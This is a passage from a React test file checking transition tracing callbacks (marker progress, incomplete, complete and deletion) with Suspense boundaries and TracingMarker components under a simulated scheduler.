ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        'onTransitionStart(transition one, 1000)',\n        'onMarkerProgress(transition one, marker one, 1000, 2000, [<null>])',\n        'onTransitionProgress(transition one, 1000, 2000, [<null>])',\n      ]);\n\n      root.render(<App navigate={true} markerName=\"marker two\" />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        'onMarkerIncomplete(transition one, marker one, 1000, [{endTime: 3000, name: marker one, newName: marker two, type: marker}])',\n      ]);\n\n      resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page Two',\n        'onMarkerProgress(transition one, marker one, 1000, 4000, [])',\n        'onTransitionProgress(transition one, 1000, 4000, [])',\n        'onTransitionComplete(transition one, 1000, 4000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('marker incomplete for tree with parent and sibling tracing markers', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({navigate, showMarker}) {\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"parent\">\n              {showMarker ? (\n                <React.unstable_TracingMarker name=\"marker one\">\n                  <Suspense\n                    name=\"suspense page\"\n                    fallback={<Text text=\"Loading...\" />}>\n                    <AsyncText text=\"Page Two\" />\n                  </Suspense>\n                </React.unstable_TracingMarker>\n              ) : (\n                <Suspense\n                  name=\"suspense page\"\n                  fallback={<Text text=\"Loading...\" />}>\n                  <AsyncText text=\"Page Two\" />\n                </Suspense>\n              )}\n              <React.unstable_TracingMarker name=\"sibling\">\n                <Suspense\n                  name=\"suspense sibling\"\n                  fallback={<Text text=\"Sibling Loading...\" />}>\n                  <AsyncText text=\"Sibling Text\" />\n                </Suspense>\n              </React.unstable_TracingMarker>\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App navigate={false} showMarker={true} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll(['Page One']);\n\n      startTransition(\n        () => root.render(<App navigate={true} showMarker={true} />),\n        {\n          name: 'transition one',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        'Suspend [Sibling Text]',\n        'Sibling Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Sibling Text]',\n        // end pre-warming\n        'onTransitionStart(transition one, 1000)',\n        'onMarkerProgress(transition one, parent, 1000, 2000, [suspense page, suspense sibling])',\n        'onMarkerProgress(transition one, marker one, 1000, 2000, [suspense page])',\n        'onMarkerProgress(transition one, sibling, 1000, 2000, [suspense sibling])',\n        'onTransitionProgress(transition one, 1000, 2000, [suspense page, suspense sibling])',\n      ]);\n      root.render(<App navigate={true} showMarker={false} />);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        'Suspend [Sibling Text]',\n        'Sibling Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Sibling Text]',\n        // end pre-warming\n        'onMarkerProgress(transition one, parent, 1000, 3000, [suspense sibling])',\n        'onMarkerIncomplete(transition one, marker one, 1000, [{endTime: 3000, name: marker one, type: marker}, {endTime: 3000, name: suspense page, type: suspense}])',\n        'onMarkerIncomplete(transition one, parent, 1000, [{endTime: 3000, name: marker one, type: marker}, {endTime: 3000, name: suspense page, type: suspense}])',\n      ]);\n\n      root.render(<App navigate={true} showMarker={true} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading...',\n        'Suspend [Sibling Text]',\n        'Sibling Loading...',\n        // pre-warming\n        'Suspend [Page Two]',\n        'Suspend [Sibling Text]',\n      ]);\n    });\n\n    resolveText('Page Two');\n    ReactNoop.expire(1000);\n    await advanceTimers(1000);\n    await waitForAll(['Page Two']);\n\n    resolveText('Sibling Text');\n    ReactNoop.expire(1000);\n    await advanceTimers(1000);\n    await waitForAll([\n      'Sibling Text',\n      'onMarkerProgress(transition one, parent, 1000, 6000, [])',\n      'onMarkerProgress(transition one, sibling, 1000, 6000, [])',\n      // Calls markerComplete and transitionComplete for all parents\n      'onMarkerComplete(transition one, sibling, 1000, 6000)',\n      'onTransitionProgress(transition one, 1000, 6000, [])',\n    ]);\n  });\n\n  // @gate enableTransitionTracing\n  it('marker gets deleted', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({navigate, deleteOne}) {\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"parent\">\n              {!deleteOne ? (\n                <div>\n                  <React.unstable_TracingMarker name=\"one\">\n                    <Suspense\n                      name=\"suspense one\"\n                      fallback={<Text text=\"Loading One...\" />}>\n                      <AsyncText text=\"Page One\" />\n                    </Suspense>\n                  </React.unstable_TracingMarker>\n                </div>\n              ) : null}\n              <React.unstable_TracingMarker name=\"two\">\n                <Suspense\n                  name=\"suspense two\"\n                  fallback={<Text text=\"Loading Two...\" />}>\n                  <AsyncText text=\"Page Two\" />\n                </Suspense>\n              </React.unstable_TracingMarker>\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App navigate={false} deleteOne={false} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll(['Page One']);\n\n      startTransition(\n        () => root.render(<App navigate={true} deleteOne={false} />),\n        {\n          name: 'transition',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page One]',\n        'Loading One...',\n        'Suspend [Page Two]',\n        'Loading Two...',\n        // pre-warming\n        'Suspend [Page One]',\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(transition, 1000)',\n        'onMarkerProgress(transition, parent, 1000, 2000, [suspense one, suspense two])',\n        'onMarkerProgress(transition, one, 1000, 2000, [suspense one])',\n        'onMarkerProgress(transition, two, 1000, 2000, [suspense two])',\n        'onTransitionProgress(transition, 1000, 2000, [suspense one, suspense two])',\n      ]);\n\n      root.render(<App navigate={true} deleteOne={true} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading Two...',\n        // pre-warming\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onMarkerProgress(transition, parent, 1000, 3000, [suspense two])',\n        'onMarkerIncomplete(transition, one, 1000, [{endTime: 3000, name: one, type: marker}, {endTime: 3000, name: suspense one, type: suspense}])',\n        'onMarkerIncomplete(transition, parent, 1000, [{endTime: 3000, name: one, type: marker}, {endTime: 3000, name: suspense one, type: suspense}])',\n      ]);\n\n      await resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page Two',\n        // Marker progress will still get called after incomplete but not marker complete\n        'onMarkerProgress(transition, parent, 1000, 4000, [])',\n        'onMarkerProgress(transition, two, 1000, 4000, [])',\n        'onMarkerComplete(transition, two, 1000, 4000)',\n        // Transition progress will still get called after incomplete but not transition complete\n        'onTransitionProgress(transition, 1000, 4000, [])',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('Suspense boundary added by the transition is deleted', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({navigate, deleteOne}) {\n      return (\n        <div>\n          {navigate ? (\n            <React.unstable_TracingMarker name=\"parent\">\n              <React.unstable_TracingMarker name=\"one\">\n                {!deleteOne ? (\n                  <Suspense\n                    name=\"suspense one\"\n                    fallback={<Text text=\"Loading One...\" />}>\n                    <AsyncText text=\"Page One\" />\n                    <React.unstable_TracingMarker name=\"page one\" />\n                    <Suspense\n                      name=\"suspense child\"\n                      fallback={<Text text=\"Loading Child...\" />}>\n                      <React.unstable_TracingMarker name=\"child\" />\n                      <AsyncText text=\"Child\" />\n                    </Suspense>\n                  </Suspense>\n                ) : null}\n              </React.unstable_TracingMarker>\n              <React.unstable_TracingMarker name=\"two\">\n                <Suspense\n                  name=\"suspense two\"\n                  fallback={<Text text=\"Loading Two...\" />}>\n                  <AsyncText text=\"Page Two\" />\n                </Suspense>\n              </React.unstable_TracingMarker>\n            </React.unstable_TracingMarker>\n          ) : (\n            <Text text=\"Page One\" />\n          )}\n        </div>\n      );\n    }\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      root.render(<App navigate={false} deleteOne={false} />);\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll(['Page One']);\n\n      startTransition(\n        () => root.render(<App navigate={true} deleteOne={false} />),\n        {\n          name: 'transition',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page One]',\n        'Loading One...',\n        'Suspend [Page Two]',\n        'Loading Two...',\n        // pre-warming\n        'Suspend [Page One]',\n        'Suspend [Child]',\n        'Loading Child...',\n        'Suspend [Page Two]',\n        // end pre-warming\n        'onTransitionStart(transition, 1000)',\n        'onMarkerProgress(transition, parent, 1000, 2000, [suspense one, suspense two])',\n        'onMarkerProgress(transition, one, 1000, 2000, [suspense one])',\n        'onMarkerProgress(transition, two, 1000, 2000, [suspense two])',\n        'onTransitionProgress(transition, 1000, 2000, [suspense one, suspense two])',\n      ]);\n\n      await resolveText('Page One');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page One',\n        'Suspend [Child]',\n        'Loading Child...',\n        // pre-warming\n        'Suspend [Child]',\n        // end pre-warming\n        'onMarkerProgress(transition, parent, 1000, 3000, [suspense two, suspense child])',\n        'onMarkerProgress(transition, one, 1000, 3000, [suspense child])',\n        'onMarkerComplete(transition, page one, 1000, 3000)',\n        'onTransitionProgress(transition, 1000, 3000, [suspense two, suspense child])',\n      ]);\n\n      root.render(<App navigate={true} deleteOne={true} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Page Two]',\n        'Loading Two...',\n        // pre-warming\n        'Suspend [Page Two]',\n        // end pre-warming\n\n        // \"suspense one\" has unsuspended so shouldn't be included\n        // tracing marker \"page one\" has completed so shouldn't be included\n        // all children of \"suspense child\" haven't yet been rendered so shouldn't be included\n        'onMarkerProgress(transition, one, 1000, 4000, [])',\n        'onMarkerProgress(transition, parent, 1000, 4000, [suspense two])',\n        'onMarkerIncomplete(transition, one, 1000, [{endTime: 4000, name: suspense child, type: suspense}])',\n        'onMarkerIncomplete(transition, parent, 1000, [{endTime: 4000, name: suspense child, type: suspense}])',\n      ]);\n\n      await resolveText('Page Two');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Page Two',\n        'onMarkerProgress(transition, parent, 1000, 5000, [])',\n        'onMarkerProgress(transition, two, 1000, 5000, [])',\n        'onMarkerComplete(transition, two, 1000, 5000)',\n        'onTransitionProgress(transition, 1000, 5000, [])',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('Suspense boundary not added by the transition is deleted', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({show}) {\n      return (\n        <React.unstable_TracingMarker name=\"parent\">\n          {show ? (\n            <Suspense name=\"appended child\">\n              <AsyncText text=\"Appended child\" />\n            </Suspense>\n          ) : null}\n          <Suspense name=\"child\">\n            <AsyncText text=\"Child\" />\n          </Suspense>\n        </React.unstable_TracingMarker>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      startTransition(() => root.render(<App show={false} />), {\n        name: 'transition',\n      });\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Suspend [Child]',\n        // pre-warming\n        'Suspend [Child]',\n        // end pre-warming\n        'onTransitionStart(transition, 0)',\n        'onMarkerProgress(transition, parent, 0, 1000, [child])',\n        'onTransitionProgress(transition, 0, 1000, [child])',\n      ]);\n\n      root.render(<App show={true} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      // This appended child isn't part of the transition so we\n      // don't call any callback\n      await waitForAll([\n        'Suspend [Appended child]',\n        'Suspend [Child]',\n        // pre-warming\n        'Suspend [Appended child]',\n        'Suspend [Child]',\n      ]);\n\n      // This deleted child isn't part of the transition so we\n      // don't call any callbacks\n      root.render(<App show={false} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'Suspend [Child]',\n        // pre-warming\n        'Suspend [Child]',\n      ]);\n\n      await resolveText('Child');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n\n      await waitForAll([\n        'Child',\n        'onMarkerProgress(transition, parent, 0, 4000, [])',\n        'onMarkerComplete(transition, parent, 0, 4000)',\n        'onTransitionProgress(transition, 0, 4000, [])',\n        'onTransitionComplete(transition, 0, 4000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('marker incomplete gets called properly if child suspense marker is not part of it', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerProgress: (\n        transitioName,\n        markerName,\n        startTime,\n        currentTime,\n        pending,\n      ) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onMarkerProgress(${transitioName}, ${markerName}, ${startTime}, ${currentTime}, [${suspenseNames}])`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App({show, showSuspense}) {\n      return (\n        <React.unstable_TracingMarker name=\"parent\">\n          {show ? (\n            <React.unstable_TracingMarker name=\"appended child\">\n              {showSuspense ? (\n                <Suspense name=\"appended child\">\n                  <AsyncText text=\"Appended child\" />\n                </Suspense>\n              ) : null}\n            </React.unstable_TracingMarker>\n          ) : null}\n          <Suspense name=\"child\">\n            <AsyncText text=\"Child\" />\n          </Suspense>\n        </React.unstable_TracingMarker>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n\n    await act(async () => {\n      startTransition(\n        () => root.render(<App show={false} showSuspense={false} />),\n        {\n          name: 'transition one',\n        },\n      );\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Child]',\n      // pre-warming\n      'Suspend [Child]',\n      // end pre-warming\n      'onTransitionStart(transition one, 0)',\n      'onMarkerProgress(transition one, parent, 0, 1000, [child])',\n      'onTransitionProgress(transition one, 0, 1000, [child])',\n    ]);\n\n    await act(async () => {\n      startTransition(\n        () => root.render(<App show={true} showSuspense={true} />),\n        {\n          name: 'transition two',\n        },\n      );\n\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Appended child]',\n      'Suspend [Child]',\n      // pre-warming\n      'Suspend [Appended child]',\n      'Suspend [Child]',\n      // end pre-warming\n      'onTransitionStart(transition two, 1000)',\n      'onMarkerProgress(transition two, appended child, 1000, 2000, [appended child])',\n      'onTransitionProgress(transition two, 1000, 2000, [appended child])',\n    ]);\n\n    await act(async () => {\n      root.render(<App show={true} showSuspense={false} />);\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Child]',\n      // pre-warming\n      'Suspend [Child]',\n      // end pre-warming\n      'onMarkerProgress(transition two, appended child, 1000, 3000, [])',\n      'onMarkerIncomplete(transition two, appended child, 1000, [{endTime: 3000, name: appended child, type: suspense}])',\n    ]);\n\n    await act(async () => {\n      resolveText('Child');\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Child',\n      'onMarkerProgress(transition one, parent, 0, 4000, [])',\n      'onMarkerComplete(transition one, parent, 0, 4000)',\n      'onTransitionProgress(transition one, 0, 4000, [])',\n      'onTransitionComplete(transition one, 0, 4000)',\n    ]);\n  });\n\n  // @gate enableTransitionTracing\n  it('warns when marker name changes', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerIncomplete: (\n        transitionName,\n        markerName,\n        startTime,\n        deletions,\n      ) => {\n        Scheduler.log(\n          `onMarkerIncomplete(${transitionName}, ${markerName}, ${startTime}, [${stringifyDeletions(\n            deletions,\n          )}])`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n    function App({markerName, markerKey}) {\n      return (\n        <React.unstable_TracingMarker name={markerName} key={markerKey}>\n          <Text text={markerName} />\n        </React.unstable_TracingMarker>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(async () => {\n      startTransition(\n        () => root.render(<App markerName=\"one\" markerKey=\"key\" />),\n        {\n          name: 'transition one',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      await waitForAll([\n        'one',\n        'onTransitionStart(transition one, 0)',\n        'onMarkerComplete(transition one, one, 0, 1000)',\n        'onTransitionComplete(transition one, 0, 1000)',\n      ]);\n      startTransition(\n        () => root.render(<App markerName=\"two\" markerKey=\"key\" />),\n        {\n          name: 'transition two',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      // onMarkerComplete shouldn't be called for transitions with\n      // new keys\n      await waitForAll([\n        'two',\n        'onTransitionStart(transition two, 1000)',\n        'onTransitionComplete(transition two, 1000, 2000)',\n      ]);\n      assertConsoleErrorDev([\n        'Changing the name of a tracing marker after mount is not supported. ' +\n          'To remount the tracing marker, pass it a new key.\\n' +\n          '    in App (at **)',\n      ]);\n      startTransition(\n        () => root.render(<App markerName=\"three\" markerKey=\"new key\" />),\n        {\n          name: 'transition three',\n        },\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n      // This should not warn and onMarkerComplete should be called\n      await waitForAll([\n        'three',\n        'onTransitionStart(transition three, 2000)',\n        'onMarkerComplete(transition three, three, 2000, 3000)',\n        'onTransitionComplete(transition three, 2000, 3000)',\n      ]);\n    });\n  });\n\n  // @gate enableTransitionTracing\n  it('offscreen trees should not stop transition from completing', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n      onMarkerComplete: (transitioName, markerName, startTime, endTime) => {\n        Scheduler.log(\n          `onMarkerComplete(${transitioName}, ${markerName}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App() {\n      return (\n        <React.unstable_TracingMarker name=\"marker\">\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Text\" />\n          </Suspense>\n          <Activity mode=\"hidden\">\n            <Suspense fallback={<Text text=\"Hidden Loading...\" />}>\n              <AsyncText text=\"Hidden Text\" />\n            </Suspense>\n          </Activity>\n        </React.unstable_TracingMarker>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n    await act(() => {\n      startTransition(() => root.render(<App />), {name: 'transition'});\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n    assertLog([\n      'Suspend [Text]',\n      'Loading...',\n      // pre-warming\n      'Suspend [Text]',\n      'onTransitionStart(transition, 0)',\n      'Suspend [Hidden Text]',\n      'Hidden Loading...',\n    ]);\n\n    await act(() => {\n      resolveText('Text');\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n    assertLog([\n      'Text',\n      'onMarkerComplete(transition, marker, 0, 2000)',\n      'onTransitionComplete(transition, 0, 2000)',\n    ]);\n\n    await act(() => {\n      resolveText('Hidden Text');\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n    assertLog(['Hidden Text']);\n  });\n\n  // @gate enableTransitionTracing\n  it('discrete events', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />} name=\"suspense page\">\n          <AsyncText text=\"Page Two\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n\n    await act(async () => {\n      ReactNoop.discreteUpdates(() =>\n        startTransition(() => root.render(<App />), {name: 'page transition'}),\n      );\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Page Two]',\n      'Loading...',\n      // pre-warming\n      'Suspend [Page Two]',\n      // end pre-warming\n      'onTransitionStart(page transition, 0)',\n      'onTransitionProgress(page transition, 0, 1000, [suspense page])',\n    ]);\n    await act(async () => {\n      ReactNoop.discreteUpdates(() => resolveText('Page Two'));\n      ReactNoop.expire(1000);\n      await advanceTimers(1000);\n    });\n\n    assertLog([\n      'Page Two',\n      'onTransitionProgress(page transition, 0, 2000, [])',\n      'onTransitionComplete(page transition, 0, 2000)',\n    ]);\n  });\n\n  // @gate enableTransitionTracing\n  it('multiple commits happen before a paint', async () => {\n    const transitionCallbacks = {\n      onTransitionStart: (name, startTime) => {\n        Scheduler.log(`onTransitionStart(${name}, ${startTime})`);\n      },\n      onTransitionProgress: (name, startTime, endTime, pending) => {\n        const suspenseNames = pending.map(p => p.name || '<null>').join(', ');\n        Scheduler.log(\n          `onTransitionProgress(${name}, ${startTime}, ${endTime}, [${suspenseNames}])`,\n        );\n      },\n      onTransitionComplete: (name, startTime, endTime) => {\n        Scheduler.log(\n          `onTransitionComplete(${name}, ${startTime}, ${endTime})`,\n        );\n      },\n    };\n\n    function App() {\n      const [, setRerender] = useState(false);\n      React.useLayoutEffect(() => {\n        resolveText('Text');\n        setRerender(true);\n      });\n      return (\n        <>\n          <Suspense name=\"one\" fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Text\" />\n          </Suspense>\n          <Suspense name=\"two\" fallback={<Text text=\"Loading Two...\" />}>\n            <AsyncText text=\"Text Two\" />\n          </Suspense>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot({\n      unstable_transitionCallbacks: transitionCallbacks,\n    });\n\n    await act(() => {\n      startTransition(() => root.render(<App />), {name: 'transition'});\n      ReactNoop.expire(1000);\n      advanceTimers(1000);\n    });\n\n    assertLog([\n      'Suspend [Text]',\n      'Loading...',\n      'Suspend [Text Two]',\n      'Loading Two...',\n      'Text',\n      'Suspend [Text Two]',\n      'Loading Two...',\n      // pre-warming\n      'Suspend [Text Two]',\n      // end pre-warming\n      'onTransitionStart(transition, 0)',\n      